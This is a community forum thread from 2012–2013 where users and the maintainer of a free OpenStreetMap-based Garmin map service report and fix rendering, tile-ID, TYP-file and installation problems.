- Re: Worldwide routable Garmin maps: URL REMOVED · Fenriswolfi (Gast) · 09.09.2012 16:54 · [flux]
Lambertus wrote:
Edit: The request has now been rewritten as a POST request (and will now also open in a new browser window/tab).
Thank you very much, Lambertus :-)
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.09.2012 21:09 · [flux]
Fenriswolfi wrote:
Lambertus wrote:
Edit: The request has now been rewritten as a POST request (and will now also open in a new browser window/tab).
Thank you very much, Lambertus :-)
Your welcome. It will hopefully also solve the 'problem' of receiving the same email multiple times for people who leave the 'request accepted' tab open when restarting their browser/computer.
Next development will be permalinks for easy selection of the same areas/points, e.g. the Alps, Benelux, Andes between map updates. These permalinks can then be shared on e.g. a wiki page or stored as a browser bookmark. I'm currently thinking of using the WKT format which is easily readable. This will probably be a long awaited and exciting development for many although the current mousedrag-select feature already comes a long way.
Something like:
http://garmin.openstreetmap.nl/?map=generic&selection=POLYGON␣((30␣10,␣10␣20,␣20␣40,␣40␣40,␣30␣10))
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 10.09.2012 09:14 · [flux]
ligfietser wrote:
Finally, I think i have found the index bug 🙂
In your first step, I missed the index parameter.
This one is crucial. It reads the location from the style file parameters and puts the info in the img tiles.In the second step another index is created, but it misses some location info that lacks in the individual tiles.
Maybe Wanmil can confirm this, because it is just a wild guess. I can partly reproduce the error when I first make an img tile without the --index (Prinsengracht,30,ABC) and then compile a new map with the --index parameter.Looks like adding the --index parameter to the first step did the trick:
I can now also find streets in Apeldoorn which was previously nearly impossible.🙂
Thanks Ligfietser and WanMil for looking into this problem!
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 10.09.2012 19:42 · [flux]
I'm glad it all worked out, did you also adjust the Openfietsmap Lite script?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 10.09.2012 19:55 · [flux]
ligfietser wrote:
I'm glad it all worked out, did you also adjust the Openfietsmap Lite script?
Ofcourse, it's running now. 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 12.09.2012 11:06 · [flux]
Works fine now, thanks! 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · GavinX (Gast) · 15.09.2012 02:56 · [flux]
I have an OSM map already loaded in the computer, downloaded from http://garmin.openstreetmap.nl/.
I used JaWaVa GMTK to change the FID and all the map names.
I have downloaded another OSM map from the same site and using the windows installer have tried to install but get the error message "OSM generic routable already installed...".
Is it possible to install a second OSM map when one is already installed on the computer?
thanks
Gavin - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 15.09.2012 11:07 · [flux]
@Gavinx I suppose you could run the uninstaller because it only removes the previous uninstaller (if you renamed the FID and map names I dont think it will delete them)
@Lambertus, running GTMK I see there is a mismatch in the product code of the TYP file (it still uses PID=3 instead of 6). I have changed that in the typ file, you can grab it here. If you are using other PID's or FID's you can better use the txt file in your mkgmap parameters, because mkgmap automatically correct them with the internal typ compiler.
- Re: Worldwide routable Garmin maps: URL REMOVED · GavinX (Gast) · 15.09.2012 13:43 · [flux]
ligfietser,
I normally extract a map from Lambertus site using the mapnik style map - but could I replace the mapnik TYP file with the TYP file you list on this page - http://code.google.com/p/mkgmap-style-s … %20generic
From what I can gather this TYP file (and the mapnik one) does not render historic=Ruins?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 15.09.2012 14:09 · [flux]
Gavin,
You can replace it, it should be the same typ file (apart from the product code which was wrong). Make sure you have to adjust the FID/PID codes as well if you've changed them (GMTK can do this I suppose).It does not have a particular symbol for historic=ruins but it should be rendered with a default garmin poi.
See http://www.mkgmap.org.uk/svn/wsvn/mkgma … s/default/points file:
historic=archaeological_site | historic=ruins [0x2c02 resolution 24]Type 0x2c02 is a "Museum" poi
polygons:
historic=archaeological_site | historic=ruins [0x1e resolution 21]Type 0x1e is rendered as "Park"
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 25.09.2012 11:00 · [flux]
I noticed that the current version (23-09-2012) only contains data up to September 12 due to changes in the way OSM distributes incremental updates. This has been fixed so the next update should contain changes up to September 25th.
- Re: Worldwide routable Garmin maps: URL REMOVED · SheriffWoody (Gast) · 27.09.2012 15:33 · [flux]
Hello,
at first I want to thank you for this great service!
However I have a problem with installing the maps in MapSource on Windows. The installation works allright, but I have multiple installation files (.exe), e.g. for Germany where I live, and for various countries where I go for holiday (e.g. Italy). Whenever I install one of the exe files, I am told that the "generic routable maps are already installed", and I have to deinstall e.g. the Germany maps when I want to install the Italy maps.
Is there a way how I can have the maps for multiple countries at the same time, with the possibility to switch between them like it's possible with different maps purchased from Garmin? Or do I have to download an .exe file e.g. which contains all countries of Europe?
Thanks and kind regards
Stefan - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 27.09.2012 16:05 · [flux]
You're welcome. See the FAQ for an answer to your question.
- Re: Worldwide routable Garmin maps: URL REMOVED · SheriffWoody (Gast) · 27.09.2012 16:19 · [flux]
Lambertus wrote:
You're welcome. See the FAQ for an answer to your question.
Oh, ok... thanks for the hint. I checked the FAQ before posting, but somehow managed to overlook the answer...
Regards
Stefan - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 27.09.2012 19:42 · [flux]
No problem, perhaps I should improve the wording...
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 28.09.2012 08:39 · [flux]
Lambertus, please update the TYP file 2000.typ (wrong product ID). I also updated the Lite styles, see your e-mail.
ligfietser wrote:
@Lambertus, running GTMK I see there is a mismatch in the product code of the TYP file (it still uses PID=3 instead of 6). I have changed that in the typ file, you can grab it here. If you are using other PID's or FID's you can better use the txt file in your mkgmap parameters, because mkgmap automatically correct them with the internal typ compiler.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 28.09.2012 11:40 · [flux]
I'm sorry Minko, yes, I've seen your email and I will update them asap, but my real life and other OS projects workload are way over my head at the moment. Perhaps I have a bit of time Saturday morning...
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 28.09.2012 11:45 · [flux]
I understand 🙂
Maybe can you give my access to your server so I can upload the styles myself? - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 30.09.2012 12:44 · [flux]
Both map generation machines were unreachable yesterday due to a core router being overloaded (it had nothing to do with this project). The website was also not responding as a result to that. So if you're wondering what happened, now you know.
ligfietser wrote:
Maybe can you give my access to your server so I can upload the styles myself?
Yes, I think that's OK, although when I changed things so that the styles can be updated using a single 'svn update' command this won't take much time anymore.
- Re: Worldwide routable Garmin maps: URL REMOVED · LeiLar (Gast) · 02.10.2012 10:47 · [flux]
I've tried downloaded some tiles I selected but I don't get any e-mails about them. This has been going on for two days now. And yes, I've checked my spams. This used to work flawlessly previously.
I've tried two different e-mail addresses to no avail (one of them being my gmail address which has worked OK previously in this respect).
Downloading directly works without a problem, though. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 02.10.2012 12:46 · [flux]
Thanks for reporting this problem. I've restarted the nullmailer daemon (the service that sends the emails) and it appears to work normally again. A lot of emails that were queued have now been sent. I think this was a result of the core-routers being overloaded as reported earlier:
Lambertus wrote:
Both map generation machines were unreachable yesterday due to a core router being overloaded (it had nothing to do with this project). The website was also not responding as a result to that. So if you're wondering what happened, now you know.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 02.10.2012 22:25 · [flux]
ligfietser wrote:
Lambertus, please update the TYP file 2000.typ (wrong product ID). I also updated the Lite styles, see your e-mail.
Typ and styles are updated. I'm using 'svn checkout' now so that future updates are easier.
I'll send you an email regarding server login, I have to talk to the server owner first.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 02.10.2012 22:46 · [flux]
As long as you update the styles automatically from http://code.google.com/p/mkgmap-style-sheets/ then I only have to make sure they are up to date there, so no need for a user login on your server, right?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 03.10.2012 11:10 · [flux]
Lambertus wrote:
Typ and styles are updated. I'm using 'svn checkout' now so that future updates are easier.
I see you uploaded the wrong typ file... 🤔
The correct one is on http://code.google.com/p/mkgmap-style-s … 20generic/ - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.10.2012 14:36 · [flux]
ligfietser wrote:
Lambertus wrote:
Typ and styles are updated. I'm using 'svn checkout' now so that future updates are easier.
I see you uploaded the wrong typ file... 🤔
The correct one is on http://code.google.com/p/mkgmap-style-s … 20generic/Oeps, I've now replaced the 'mapnik' directory with the 'osm_generic'... Thanks.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 03.10.2012 16:28 · [flux]
Another bug has been reported on the gps.nl forum:
http://forum.gps.nl/viewtopic.php?f=89& … 74#p321574Because the OFM Lite and the OSM generic routable share the same img names this can lead to problems when sending both maps together (with the same tiles) to the GPS. Remedy: use unique names for the OFM Lite (eg 6344*.img instead of 6324*.img).
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.10.2012 19:43 · [flux]
Hmm, I thought I did that. From the build scripts:
Openfietsmap lite:
$mapid = 63440001;Generic map:
$mapid = 63240001;But I now see that this setting is later overwritten because both maps use the same initial split result which uses the Generic map base id. I think I have a solution to that in place now but it will be used only for the next update, not the update that is currently running.
Background:
The initial split (and transliteration step) resulted previously in tiles named 63240001.translit.osm.bz2 etc. which the rendering scripts pick up by scanning the initial split result directory and then continue to use the numeric part of the filename throughout the script. I've changed this so that the initial split step results in tiles named 1.translit.osm.bz2 etc., the rendering scripts pick these files up, add the $mapid value and use the result for the rest of the script. - Re: Worldwide routable Garmin maps: URL REMOVED · petersfreeman (Gast) · 04.10.2012 20:57 · [flux]
SheriffWoody wrote:
Hello,
Is there a way how I can have the maps for multiple countries at the same time, with the possibility to switch between them like it's possible with different maps purchased from Garmin? Or do I have to download an .exe file e.g. which contains all countries of Europe?
Thanks and kind regards
StefanI use MapSetToolKit. It is a simple tool to use for your purpose. It is a free download. What I did was to first come up with a Family ID for each of the countries (or in the case of larger countries, provinces). I used a system that assigns the following block of numbers:
1000-1999 = Africa
2001-2999 = Asia
3000-3999 = Europe
4000-4999 = North America
5000-5999 = (Spare)
6000-6999 = Oceania
7000-7999 = South AmericaFor North America, I use 4000-4399 for Canada and 4500-4999 for USA so that for a map of the state of Alabama has a family ID of 4505 as I simply assigned the states a number in alphabetical order in increments of 5, e.g.:
4500 North America USA
4505 North America USA AL ALABAMA
4510 North America USA AK ALASKA
4515 North America USA AS AMERICAN SAMOA
4520 North America USA AZ ARIZONASince the OSM generic maps from this site install with a Family ID of 2000. I never use 2000 for any maps. I install the maps into specific folders, for example, Australia goes into C:/Garmin/Maps/Oceania/Australia. After it is installed, I then run MapSetToolKit and select the map just installed into FamilyID 2000, click the edit button and change the Mapset name to OSM Australia, the registry name to OSM Australia and the family ID to my choice of 6050. I apply the changes and that is it!
Cheers,
Peter
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 06.10.2012 11:29 · [flux]
A new Openfietsmap Lite update is online which uses tile id's 6344xxxx 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 06.10.2012 13:47 · [flux]
Lambertus wrote:
A new Openfietsmap Lite update is online which uses tile id's 6344xxxx 🙂
Nice, but I only see red tiles...
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 06.10.2012 14:11 · [flux]
ligfietser wrote:
Lambertus wrote:
A new Openfietsmap Lite update is online which uses tile id's 6344xxxx 🙂
Nice, but I only see red tiles...
Crap. Why did I only check the directory contents and not the site as well? 🙄
Another bug, I think I know where. Working on it...
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 06.10.2012 23:27 · [flux]
Looks like the bug has infected the Generic Routable too, it is bleeding too 😛
- Re: Worldwide routable Garmin maps: URL REMOVED · lacarpa (Gast) · 07.10.2012 19:10 · [flux]
Hallo,
wollte mir gerade eine Karte runterladen. Leider sind noch rote Felder dazwischen.
Ich hoffe Ihr könnt den Fehler beheben und weiterhin diesen super Dienst bereitstellen.Grüße aus Bayern
LaCarpa 🙂
Hello,
I just wanted to download a map. Unfortunately red fields are in between.
I hope you can fix the error and continue to provide this great service.Greetings from Bavaria
LaCarpa 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 07.10.2012 20:40 · [flux]
I've reverted back to the previous version, fixed the bug which caused the 'red tiles' (hopefully) and started a new update. Anyone who received a link to an empty map should request their map again. Sorry about that...
- Re: Worldwide routable Garmin maps: URL REMOVED · fitzsimons (Gast) · 07.10.2012 21:01 · [flux]
Many thanks for the quick repair. I don't download maps here very often and assumed I'd done something wrong. All of Berlin is now selectable.
- Re: Worldwide routable Garmin maps: URL REMOVED · lacarpa (Gast) · 07.10.2012 21:52 · [flux]
Thank you very much for the repair. Everything works perfectly again.
greeting
LaCarpa 🙂 - Re: Worldwide routable Garmin maps: URL REMOVED · squawk77 (Gast) · 08.10.2012 19:10 · [flux]
I just got back from a +5000km trip and the OSM data served me quite well yet again. In regards to my Mac problems on the previous page, it seems to work great now that I got the Oct 2 Basecamp update 🙂
I'm applying for a visa to Myanmar, so maybe I should learn how to submit traces to osm just in case 😬
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 09.10.2012 08:59 · [flux]
Lambertus wrote:
I've reverted back to the previous version, fixed the bug which caused the 'red tiles' (hopefully) and started a new update. Anyone who received a link to an empty map should request their map again. Sorry about that...
The OFM tilenames are less than 8 digits now...
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.10.2012 10:25 · [flux]
You've managed to check the new result in the first half-hour since it got online while I was doing all sorts of tests and debug-runs. The previous bug was unfortunately only partially fixed and now completely (I think). A new update is running.
Some seemingly 'small' changes have huge impact in nearly every stage of the rendering. I get (and forget) that lesson often in this complex chain of automated multiple maps rendering stages.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 11.10.2012 13:07 · [flux]
Update: Redering still results in some missing tiles. This appears to be a completely different problem, not related with the map id's.
Arrrrggghhhh 😬
Edit:
One bug has to do with updating the (un-)available tiles. I've done some tests and it seems to work better now (can't remember what I really changed 🙄).
Another bug is: the maximum render/subsplit depth is reached prematurely. Should be fixed also.We'll see what happens with the next update.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 13.10.2012 19:01 · [flux]
For the first time in a number of updates the OpenFietsmap Lite looks normal without intervention. Pfieuw! 😎
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 13.10.2012 21:49 · [flux]
Well done Lambertus,
But if I look at an already generated set I see only 4 files?tiles.txt
openfietsmap_lite_tiles.zip
country.txt
20011.typ - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 14.10.2012 15:35 · [flux]
Hmm, this only seems to concern the OpenFietsMap lite.... investigating.
Update: problem found and solved. It was a very silly thing, best not to say what.... 🙄
I removed all the faulty results and recreated some, so if you get a 404 Not Found error then just request your map again.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 21.10.2012 14:45 · [flux]
Eggie reported the following bug:
http://forum.gps.nl/viewtopic.php?f=20& … 79#p322479
When sending tiles to the GPS Mapsource crashes.Looks like this only happens with maps generated with mkgmap-r2337 (OFM Lite, France 15/10).
Belgium (15.10) doesn't crash (generated with r2328)Edit: r3737 works ok with the Generic map as a few OFM lite tiles from France so the bug is somewhere else.
Maybe there is one or a few tiles in OFM Lite France that are bugging the index, have to investigate more...Edit 2: 63440190.img is causing the index to crash.
Maybe isolate this img until we find the cause? - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 21.10.2012 20:37 · [flux]
Files are here: http://osm.pleiades.uni-wuppertal.de/ofm_bug/
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 21.10.2012 21:59 · [flux]
Thanks Lambertus,
I think the bug is somewhere in my Lite styles, if I use a newer version it won't crash anymore.
I''ll let you know when I have found the bug. 😉 - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 22.10.2012 09:21 · [flux]
The bug is caused by place=locality, 24000 nodes in that problematic tile alone, made the index crash.
So better avoid also the OFM Lite version of Spain until further notice. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 22.10.2012 10:08 · [flux]
More bugs have been found by Egbert:
When selecting a custom OFM Lite mapset, the map is generated without the typ file 2011.typHave to check if the custom generic maps with typ file have the same issue(checked, is fine)The OFM Lite styles are now updated and the index bug hopefully corrected in a next update.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 22.10.2012 19:12 · [flux]
ligfietser wrote:
More bugs have been found by Egbert:
When selecting a custom OFM Lite mapset, the map is generated without the typ file 2011.typHave to check if the custom generic maps with typ file have the same issue(checked, is fine)Thanks. I'll check that later. I don't have good internet connection this week.
The OFM Lite styles are now updated and the index bug hopefully corrected in a next update.
Will do an svn update too when I check on the custom map server.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 30.10.2012 20:04 · [flux]
Lambertus wrote:
The OFM Lite styles are now updated and the index bug hopefully corrected in a next update.
Will do an svn update too when I check on the custom map server.
Lambertus, the OFM lite Version 29/10 has still the old buggy TYP file....
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 30.10.2012 21:12 · [flux]
Sorry, I think I updated the wrong path on the server. Updated the styles now and stated a new update. I've also cleaned up some old test directories to prevent this confusion in the future.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 01.11.2012 14:22 · [flux]
Ligfietser, with the new style files and Mkgmap version r2337 I get:
Error␣in␣style:␣Error:␣(polygons:85):␣Stack␣size␣is␣2 Could␣not␣open␣style␣ofm_lite
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 01.11.2012 15:00 · [flux]
Probably caused by a "0" in line 84, didn't know how it got there 🙄
http://code.google.com/p/mkgmap-style-s … e/polygonsIt should work now with r83?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 01.11.2012 16:52 · [flux]
Yes, it seems to be working again. Will have to restart the update though...
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 01.11.2012 17:26 · [flux]
Don't worry, it's not good cycling weather anyway 😉
Have you fixed the issue of the custom maps without the type file too? - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 05.11.2012 14:26 · [flux]
Custom openfietsmap_lite maps now have a type file as well.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 05.11.2012 16:24 · [flux]
Thanks, looks ok now, except the typ file should be updated as well: http://code.google.com/p/mkgmap-style-s … smap+lite/
Can you perform an auotmatic svn update in your scripts next updates to the typ file too?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 06.11.2012 10:10 · [flux]
I could locally as well as on the other server(s) .... if all directories names were consistently named, but that is part of the cleanup effort.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 11.11.2012 14:31 · [flux]
A problem has been reported that, using Chrome/Chromium (and perhaps Internet Explorer, but I did not check that), it was not possible to choose the OpenFietsMap lite map. This has been solved.
I used an onChange event in an HTML form element to detect when a user selected a map (Generic or Openfietsmap lite). This works in Firefox but aparently this event is not implemented in Chrome so now I'm using the onChange event on the individual HTML radiobutton input elements.
- Re: Worldwide routable Garmin maps: URL REMOVED · cchatfield (Gast) · 23.11.2012 16:23 · [flux]
Have been using Garmin products since 2000 and contribute to OpenStreetMap and upgraded to Windows 8 10 days ago. Whilst I can download as usual maps tiles and install for MapSource as usual. The system does not like changes being made through Mapset Toolkit 1,77 to the name etc. If it accepts the change the map does not appear in MapSource. I find the only way is to use Mapset Toolkit to install the maps hte long way around then all goes well.
Palm Desktop doesn't like Windows 8 so I have to use my XP verion to HotSync. Anybody found a solution?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 23.11.2012 17:13 · [flux]
Try JaVaWa's GMTK tool to check for registry problems and repair installed maps.
- Re: Worldwide routable Garmin maps: URL REMOVED · alester (Gast) · 03.12.2012 19:57 · [flux]
First off, thank you Lambertus for your efforts. I bought a Garmin a few years ago, and I've been using your site ever since.
Recently, someone tagged the island I live on (Vancouver Island, http://osm.org/go/WDzgVj-) as place=island. The tagging's fine, that isn't the problem. The problem is that now when I generate a map from your site, the place=island layer seems to cover up some other items, like parks, golf courses, and cemeteries, so these don't display. With the Mapnik TYP, I was able to edit it to either remove that layer or re-order it so it's underneath, but I can't do that with the default, no-TYP style, which I prefer. Would it be possible for you to change the settings so the place=island layer doesn't cover up other items? Sorry, I'm not very familiar with the map generation process, so I really don't know how involved this may be.
Thanks in advance
Andrew - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 04.12.2012 15:43 · [flux]
I think there are two options, either remove place=island from the mkgmap polygon style (which seems plausible, because the shapes can be rendered with multipolygons now perfectly without this island tag) or leave it as it is and render the maps with a typ file (which can be customised like you have done). BTW, with a typ file editor you can edit the mapnik typ file and make the map appear as the map without a typ file by deleting the unwanted objects.
- Re: Worldwide routable Garmin maps: URL REMOVED · Sutt (Gast) · 09.12.2012 12:56 · [flux]
I have used the downloaded maps in Mapsource and now Basecamp for some time and have been very pleased. However the latest UK map download (02-12-2012) appears distorted in both Mapsource and Basecamp, the horizontal distances are shrunk and the whole map looks taller & thinner than it should be. The map looks OK on my Garmin Legend though!
I have not changed any setting in Mapsource or Basecamp and they both display the previous downloaded version OK.
Any thoughts about why this is happening?
Thanks
Ken - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 09.12.2012 14:06 · [flux]
No idea why it happened, but you can try Ctrl-Alt-A in MapSource to reset the projection angle
- Re: Worldwide routable Garmin maps: URL REMOVED · Sutt (Gast) · 09.12.2012 15:26 · [flux]
Thanks for the reply. I used Ctrl-Alt-A in Mapsource and chose "let MapSource choose the projection angle" and restarted MapSource but there was no difference.
I then chose an angle of 50 degrees, when I restarted MapSource the map looked OK. I then started Basecamp and that looked OK as well.
I reset the MapSource angle to "let MapSource choose the projection angle" and it reset both MapSource and Basecamp to the thin display.
I then chose an angle of 85 degrees, both MapSource and Basecamp changed back to an acceptable view which does not look any different to the 50 degree angle?
I'm not sure what changing the angle does, why the 50 degree looks like the 85 degree, why the default looks so thin and why changing it in MapSource automatically affects Basecamp but it is much better so I guess that I will use it as it is 🙂.
Thanks once again
KenPS A bit of searching showed that the projection angle change is written to the registry which is why changing it in MapSource also changes it in Basecamp.
- Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 09.12.2012 18:55 · [flux]
Probably 85 wasn't accepted, since it was outside map area. Press Alt-Ctr-A again and check what is current value. I think default value is middle of the map. If area of recent release was extended more to north, then map view could change. Pity Garmin is not able to provide better conformal projection in current programs, like it was done in Mapsource 6.13.
- Re: Worldwide routable Garmin maps: URL REMOVED · petersfreeman (Gast) · 13.12.2012 00:25 · [flux]
The latest maps (2012-12-02) have an error in one of the highways in Northern Teritory, Australia. At first I though the 17 kilometre piece of road had been deleted in OSM, so I checked the road in JOSM and found it fine. It is strange as the road is one continuous straight way with very few nodes and the missing chunk is in the middle.
Check it out, the bounding Box is min lat: -19.7279276 min lon: 135.736084 max lat: -19.4898967 max lon: 136.0107422. The road is the Tableland Highway and the missing 17 kilometre piece of road is between these two points:
<trkseg>
<trkpt lat="-19.643741520121694" lon="135.87752030231059"/>
<trkpt lat="-19.519570833072066" lon="135.9730189293623"/>
</trkseg>When I check the OSM data, there is not even a node anywhere near one of the two points and it looks clean. What would have caused this piece of road to disappear? It has no nodes in a perfectly straight 30 kilometre stretch. Could this be the problem? I will add some intermediate nodes and see if the problem exists in the next set of Routable Maps. The problem shows up in Mapsource. I have not transferred the map to my GPS so I don't know if the piece of road is missing on the GPS. This road was fine in the previous (2012-11-29) edition of the Routable Maps.
Thanks.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 13.12.2012 17:17 · [flux]
The lack of nodes was indeed an issue by the tile splitter. Tile borders may vary from update to update.
There were made some major improvements with the splitter lately to prevent this. Don't know if Lambertus used the experimental splitter version in the latest update? - Re: Worldwide routable Garmin maps: URL REMOVED · petersfreeman (Gast) · 19.12.2012 21:15 · [flux]
ligfietser wrote:
The lack of nodes was indeed an issue by the tile splitter. Tile borders may vary from update to update.
There were made some major improvements with the splitter lately to prevent this. Don't know if Lambertus used the experimental splitter version in the latest update?I am looking at the latest routable maps (2012-12-17) and the problem that I mentioned is fixed (Northern Teritory of Australia). I have discovered another road that is now missing a chunk that was not missing in the 2012-12-02 map set and the OSM data has not changed since that last map set. The road is missing bewtween -33.36683, 137.05230 and -33.39845, 137.05230 In South Australia near Whyalla. The way is nodeless from -33.3668392, 137.0523009 to -33.4425591, 137.0523058, a distance of only 8.398 km.
I also noticed that the boundary between tiles AU-Adelade and AU-Mount Isa cuts through this nodeless section. Could it be that the splitter is not looking far enough to see if the way in one tile is connected to the same way in the other tile?
I will add some intervening nodes to prevent this from occuring again, however there seems to be a problem if the splitter is causing this to occur with nodeless runs of under 10 kilometre. There may be many other roads with missing chunks undiscovered, particularly in desert area like Australia where it is not uncommon to have straight roads for many hundreds of kilometres.
Thanks,
Peter
- Re: Worldwide routable Garmin maps: URL REMOVED · Vclaw (Gast) · 01.01.2013 16:07 · [flux]
It looks like the website is currently down. http://garmin.openstreetmap.nl/ is giving "500 Internal Server Error" for me.
- Re: Worldwide routable Garmin maps: URL REMOVED · Zartbitter (Gast) · 02.01.2013 08:27 · [flux]
Vclaw wrote:
It looks like the website is currently down. http://garmin.openstreetmap.nl/ is giving "500 Internal Server Error" for me.
Works for me at the moment.
Happy New Year and thank you for this service, Lambertus! - Re: Worldwide routable Garmin maps: URL REMOVED · kolya621 (Gast) · 02.01.2013 17:18 · [flux]
how to download a map with other code page (1251 - Russian)?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.01.2013 15:52 · [flux]
Happy new year everyone!
kolya621 wrote:
how to download a map with other code page (1251 - Russian)?
Sorry, that's not possible, you'll have to see if any of the other map providers has such a map...
- Re: Worldwide routable Garmin maps: URL REMOVED · alimamo (Gast) · 05.01.2013 16:25 · [flux]
Is it possible to have two OSM maps of the same area (different type files) in the GPSr?
I can install two versions to the computer. First I install one with the Mapnik type file-change the name, ID with JaVaWa; then I install the the regular non-type file version. Both show up in Mapsource and Basecamp. But when I send them, individually (and change the names), to the GPSr, only one map shows up (probably since all the map segments are the same). Then JaVaWa shows errors- map segments sharing ID numbers.
Is there an easy way to edit the map segment IDs and still have the maps work correctly? Or would I have to take the segments, change the ID numbers, and compile my own map?
Why 2 maps of the same area? I am just trying to find out which features show up better on my Montana so I can pick and choose if I want to edit my own type file.
Any ideas or thoughts would be appreciated. Thanks and jama rek,
Robert
- Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 05.01.2013 16:45 · [flux]
You can change segments ID with GMapTool:
http://www.gmaptool.eu/en/content/change-mapid
This can be done on img prepared for device. You can change ID for a set of img too, but not for a mpaset installed in Mapsorce, GMapTool won't correct TDB file.
- Re: Worldwide routable Garmin maps: URL REMOVED · JaVaWa (Gast) · 05.01.2013 17:38 · [flux]
popej, aren't those segment IDs also being used in the search index files? Changing them would break search possibilities I guess...
I did think of adding the option to change the segment IDs in GMTK, but this kept me from doing it... - Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 05.01.2013 19:00 · [flux]
It's not a trivial task. GMapTool simultaneously changes map ID in many places including search index. Corrected subfiles are: TRE, GMP, MPS, MDR, MD2, TRF, MMR. You can find map ID in other files - TDB, MDX, JCV. These aren't processed by GMapTool.
- Re: Worldwide routable Garmin maps: URL REMOVED · GRi (Gast) · 08.01.2013 13:14 · [flux]
Is it possible that the latest Open Fietsmap Lite as downloaded from garmin.openstreetmap.nl misses the area-features?
I only get lines and points on a light green background ("Land"). Both from the installer and from the gmapsupp.img. And from both latest versions.
In the older versions this wasn't the case.
Geert - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 08.01.2013 14:24 · [flux]
You are right, it looks like something went wrong. If I remove the typ file, the area objects appear again so they are somehow invisible.
I can't see any faults in my typ files, the light version on my openfietsmap.nl looks good (generated with mkgmap r2431).Lambertus' version is generated with mkgmap-r2423, maybe this version has some bugs.
I reported one issue which had to do with the typ file processing too, so maybe in the next update with an improved mkgmap version it's solved? - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 08.01.2013 14:48 · [flux]
Lambertus, can you check if the lite version uses the parameter --generate-sea=land-tag=natural=background?
I suspect it uses somehow natural=land as background (0x27) which covers almost everything because I use it for other purposes in my typ file (islands in a lake for instance).A typ file to fix this issue can be downloaded here (temporarily workaround, need to be fixed in the compilation process)
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.01.2013 15:03 · [flux]
Thanks for reporting this problem. I've updated Mkgmap to the latest version (r2440) and started a new map update. The new OpenFietsMap Lite version should be online in 1-2 days.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 11.01.2013 10:57 · [flux]
The new OpenFietsMap Lite version is online. I hope polygon problem is fixed now?
- Re: Worldwide routable Garmin maps: URL REMOVED · GRi (Gast) · 11.01.2013 15:23 · [flux]
Hi. Unfortunately I still need the fix-typ file to get the polygons.
Geert
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 11.01.2013 16:09 · [flux]
Lambertus, have you checked the --generate-sea option?
